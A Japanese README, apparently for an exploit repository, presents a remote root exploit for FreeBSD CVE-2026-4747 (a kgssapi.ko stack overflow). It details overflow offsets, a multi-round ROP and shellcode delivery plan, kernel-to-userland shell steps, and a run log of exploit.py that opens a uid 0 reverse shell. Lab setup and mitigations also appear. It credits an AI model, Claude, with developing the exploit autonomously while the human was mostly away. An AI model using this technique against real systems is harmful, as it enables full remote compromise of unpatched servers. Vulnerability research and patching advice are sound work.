
FreeBSD CVE-2026-4747 向けリモートカーネルRCEエクスプロイト。kgssapi.ko のスタックバッファオーバーフローを利用し、ROPチェーンとシェルコードを介してルートシェルを取得します。
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
kgssapi.ko のスタックバッファオーバーフロー → 約4時間でルートシェル
"AIによって発見され、悪用された初のリモートカーネルRCEエクスプロイト。総作業時間: 実働約4時間。"
— Nicholas Carlini(Claude / Anthropic使用)による発見 · 2026年3月26日公開
CVE-2026-4747 は、FreeBSDのNFS向けRPCSEC_GSS認証を実装するカーネルモジュール kgssapi.ko に存在するスタックバッファオーバーフロー(stack buffer overflow)の脆弱性です。
svc_rpc_gss_validate() 関数は、攻撃者が制御するcredential bodyを、サイズを検証せずにスタック上の128バイトのバッファ(rpchdr[])へコピーします。RPCヘッダーのフィールドによってすでに32バイトが占有されているため、利用可能なのは96バイトのみですが、XDRレイヤーは最大400バイトのcredentialを許可しており、304バイトのオーバーフローが発生します。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (Stack-based Buffer Overflow) |
| コンポーネント | kgssapi.ko / librpcgss_sec |
| プロトコル | NFS / RPCSEC_GSS / Kerberos |
| 必要な権限 | 有効なKerberosチケット(低権限) |
| 影響 | リモートカーネルコード実行 → uid 0 |
| CVSS | 9.8 Critical |
| パッチ | FreeBSD-SA-26:08.rpcsec_gss |
2026年3月26日 ── FreeBSDがFreeBSD-SA-26:08.rpcsec_gssを公開
クレジット: "Nicholas Carlini using Claude, Anthropic"
2026年3月29日 ── 09:45 AM PDT: Claudeにエクスプロイト開発を依頼
05:00 PM PDT: Claudeが機能するルートシェルを納品
合計: 実時間約7時間 / Claudeの実働約4時間
人間はプロセスの大部分でAFK状態だった。
/* svc_rpc_gss_validate() — kgssapi.ko 内 */
uint8_t rpchdr[128]; /* スタック上のバッファ */
/* RPCヘッダーフィールドにより32バイトがすでに消費済み */
/* 利用可能なのは96バイトのみ */
/* XDRは最大400バイトのcredentialを許可 */
/* 400 - 96 = 304バイトのオーバーフロー → RIPハイジャック */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG: サイズ未検証 */
FreeBSD 14.x には以下が存在しない:
int32_t[])に対するスタックカナリアこれにより、オーバーフロー → RIP制御が直接可能になります。
攻撃者(ネットワーク)
│
│ nfs/target@REALM に対する有効なKerberosチケット
│
▼
NFSサーバー(ポート 2049/TCP)
│
│ credential_len = 400 のRPCSEC_GSSリクエスト
│
▼
svc_rpc_gss_validate() ← カーネルリング0
│
│ サイズ未検証のmemcpy
│ [128バイトバッファ + 304バイトオーバーフロー]
│
▼
スタックスマッシング → RIP制御 → ROPチェーン → シェルコード
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 リバースシェル
Claudeは、アドバイザリからルートシェルに到達するまでに6つの異なる問題を解決しました:
# FreeBSD 14.4-RELEASE VM:
# - 2+ CPU(FreeBSDはCPUごとに8つのNFSスレッドを生成; エクスプロイトは15ラウンド必要)
# - kgssapi.ko ロード済み
# - ポート2049でNFS有効
# - MIT Kerberos KDC設定済み(脆弱なコードに到達するために必須)
# - QEMUポートフォワーディング: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# 攻撃側の重要なKerberos設定:
# /etc/krb5.conf
[libdefaults]
rdns = false # これがないと: nfs/localhost@REALM のチケット(誤り)
dns_canonicalize_hostname = false # サーバーが KRB5KRB_AP_WRONG_PRINC で拒否
シェルコードは432バイトですが、パケットあたりROPチェーンに使用できるのは200バイトのみです。
ラウンド 1: ROP → pmap_change_prot(BSS, RWX) ← BSSを実行可能にする
ラウンド 2-14: ROP → シェルコード32バイトをBSSに書き込み(4回の書き込み × 8バイト)
ラウンド 15: ROP → 最後のバイトを書き込み + シェルコードへJUMP
ラウンドあたりの予算: 4回の書き込み × 40バイト = 160バイト + 24バイト exit = 184バイト ✓ (< 200)
; 各ラウンドは通常のリターンではなく kthread_exit(0) で終了
; サーバーはクラッシュしない — NFSスレッドを1つ失うだけ
; 2 CPUの場合: 16スレッド利用可能 → 15ラウンドに十分
# De Bruijnシーケンス → 8バイトの各部分文字列は一意
# credential bodyとして送信 → カーネルクラッシュ → クラッシュダンプからRIPを読み取る
# 逆アセンブリではオフセット168 → 実際: 200バイト
# 差: 静的解析で考慮されなかったGSSヘッダーの32バイト
pattern = cyclic(400) # 400バイトのDe Bruijn
# クラッシュダンプ: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
シェルコードは純粋なカーネルNFSスレッドで実行されます — vmspaceもtrapframeもありません。
/* フェーズ1(ハイジャックされたNFSスレッドのシェルコード内): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* NFSスレッドをクリーンに終了 */
/* フェーズ2(新しいプロセス内): */
/* 1. デバッグレジスタをクリア(ハードウェアバグ - ステップ5参照) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. /bin/sh を実行 */
kern_execve("/bin/sh", args, envp);
/* 3. 重要: P_KPROCフラグをクリア */
/* これがないと、fork_exit() が kthread_exit() を呼び出しプロセスを強制終了 */
proc->p_flag &= ~P_KPROC;
/* 4. リターン → fork_exit() → userret() → iretq → リング3 → uid=0 シェル */
症状: 子プロセスが有効な命令でtrap 1(デバッグ例外)によりクラッシュ。
原因: kproc_create/fork1 が親のPCBをコピーし、エクスプロイト開発中の以前の
クラッシュからDDBのブレークポイントを継承。
修正: kproc_create の2命令前に:
xor eax, eax
mov dr7, rax ← すべてのハードウェアブレークポイントを無効化
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS リモートカーネルRCE
スタックオーバーフロー → ROP → シェルコード → uid 0 リバースシェル
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432バイト(54 qwords)
Delivery: 15ラウンド(1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS is now RWX
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE → JUMP 0xffffffff8198a800
[*] Shellcode delivered and executing.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# FreeBSD 14.4-RELEASE をダウンロード
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso
# ディスクを作成し、2+ CPUでVMを起動
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
-hda freebsd-vuln.qcow2 \
-cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
-m 2G \
-smp 2 \ # 16+ NFSスレッド用に2+ CPU
-net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-net nic \
-nographic 2>&1 | tee qemu.log # クラッシュダンプ読み取り用ログ
# FreeBSD内: NFS + Kerberos を設定
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf
# 基本KDCセットアップ
pkg install heimdal
# プリンシパル作成: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]
1. VMwareにFreeBSD 14.4-RELEASEをインストール
2. Network Adapter: "NAT" または "Host-only" を選択
3. VMware NATでポートフォワーディングを設定:
- Host 2049 TCP → Guest 2049
- Host 88 TCP/UDP → Guest 88 (KDC)
4. QEMUと同じNFS/Kerberosセットアップ
5. 攻撃側の /etc/krb5.conf:
kdc = 127.0.0.1:88 (ポートフォワードを指定)
# FreeBSDをパッチ適用済みバージョンに更新
freebsd-update fetch install
# アドバイザリがパッチ適用済みか確認
freebsd-version -k # SA-26:08 以降のバージョンを表示する必要あり
# 1. RPCSEC_GSSが不要な場合、kgssapiを無効化
kldunload kgssapi
# /boot/loader.conf:
# kgssapi_load="NO"
# 2. ファイアウォールでNFSアクセスを制限
ipfw add deny tcp from any to any 2049 not via lo0
# または pf:
# block in quick on em0 proto tcp to port 2049
# 3. 信頼できるIPからのみKerberos認証を要求
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0
コンピュータは数十年にわたりファザーでバグを見つけてきました。しかしバグを見つけることと、それを悪用することはまったく別のことです。エクスプロイト開発には、カーネルの理解、ROPチェーンの構築、メモリレイアウトの管理、クラッシュのデバッグ、そして何かが失敗したときの適応が必要です。
それは常に人間だけの領域と考えられてきました。
CVE-2026-4747 は、その境界線が動いたことを証明しています。
Claudeは、カーネルエクスプロイト開発の6つの問題を約4時間で自律的に解決しました: ラボセットアップ、マルチパケット配信、クリーンなスレッド終了、オフセットデバッグ、カーネルからユーザーランドへの遷移、そして文書化されていないハードウェアブレークポイントバグ。異なる戦略を用いた2つの機能するエクスプロイト。両方とも初回試行で成功しました。
このリポジトリは、サイバーセキュリティ研究、技術文書、教育目的のみを対象としています。ここに文書化されたエクスプロイトは管理された環境で開発され、公開前にFreeBSDメンテナに責任を持って報告されました。明示的な書面による許可なくシステムに対して使用しないでください。著者は不正使用について責任を負いません。
元のクレジット: Nicholas Carlini + Claude (Anthropic) アドバイザリ: FreeBSD-SA-26:08.rpcsec_gss
Stack overflow → ROP → shellcode → kproc_create → iretq → uid=0